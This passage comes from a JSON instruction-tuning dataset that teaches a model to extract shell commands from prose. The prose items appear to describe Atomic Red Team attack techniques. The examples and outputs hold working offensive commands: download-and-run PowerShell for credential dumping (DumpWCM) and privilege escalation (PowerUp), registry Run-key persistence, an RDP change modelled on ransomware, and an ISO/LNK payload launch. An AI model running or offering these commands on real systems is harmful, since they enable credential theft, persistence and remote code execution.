a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The WinPwn function allows credential looting with the Invoke-WCMDump technique, using the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\nInvoke-WCMDump",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\\nInvoke-WCMDump\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable the guest account on macOS, use the following command: sudo sysadminctl -guestAccount on",
    "output": "{\"command_list\": [\"sudo sysadminctl -guestAccount on\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy an executable, rename it as a Windows executable, and launch it to masquerade as a legitimate process, use the following command:\ncopy \"#{inputfile}\" #{outputfile}\ntry { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }\ncatch { $_; exit $_.Exception.HResult}\nStop-Process -ID $myT1036_003",
    "output": "{\"command_list\": [\"copy \\\"#{inputfile}\\\" #{outputfile}\\ntry { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }\\ncatch { $_; exit $_.Exception.HResult}\\nStop-Process -ID $myT1036_003\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing the command below, you can modify the fSingleSessionPerUser value in the Terminal Server registry key to allow multiple RDP sessions per user, similar to how Mimic ransomware operates: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process involves executing document.lnk from AllTheThings.iso, which uses cmd.exe and rundll32 to load AllTheThingsx64.dll and spawn calc.exe. The required command is:\nMount-DiskImage -ImagePath \"#{path_of_iso}\" -StorageType ISO -Access ReadOnly\n$keep = Get-Volume -FileSystemLabel \"AllTheThings\"\n$driveLetter = ($keep | Get-Volume).DriveLetter\n$instance = [activator]::CreateInstance([type]::GetTypeFromCLSID(\"{c08afd90-f2a1-11d1-8455-00a0c91f3880}\"))\n$instance.Document.Application.ShellExecute($driveLetter+\":\\\\document.lnk\",\"\",$driveLetter+\":\\\\\",$null,0)",
    "output": "{\"command_list\": [\"Mount-DiskImage -ImagePath \\\"#{path_of_iso}\\\" -StorageType ISO -Access ReadOnly\\n$keep = Get-Volume -FileSystemLabel \\\"AllTheThings\\\"\\n$driveLetter = ($keep | Get-Volume).DriveLetter\\n$instance = [activator]::CreateInstance([type]::GetTypeFromCLSID(\\\"{c08afd90-f2a1-11d1-8455-00a0c91f3880}\\\"))\\n$instance.Document.Application.ShellExecute($driveLetter+\\\":\\\\document.lnk\\\",\\\"\\\",$driveLetter+\\\":\\\\\\\",$null,0)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistence access through a registry key, execute this PowerShell command:\n$RunKey = \"#{reg_key_path}\"\nSet-ItemProperty -Path $RunKey -Name \"socks5_powershell\" -Value \"#{reg_key_value}\"",
    "output": "{\"command_list\": [\"$RunKey = \\\"#{reg_key_path}\\\"\\nSet-ItemProperty -Path $RunKey -Name \\\"socks5_powershell\\\" -Value \\\"#{reg_key_value}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up calc.exe to run automatically during system startup, execute this registry modification command (note that a reboot will be necessary): \nif (!(Test-Path -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n  New-Item -ItemType Key -Path  \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path  \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"",
    "output": "{\"command_list\": [\"if (!(Test-Path -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\")){\\n  New-Item -ItemType Key -Path  \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\n}\\nSet-ItemProperty -Path  \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\" -Name \\\"#{target_key_value_name}\\\" -Value \\\"#{payload}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 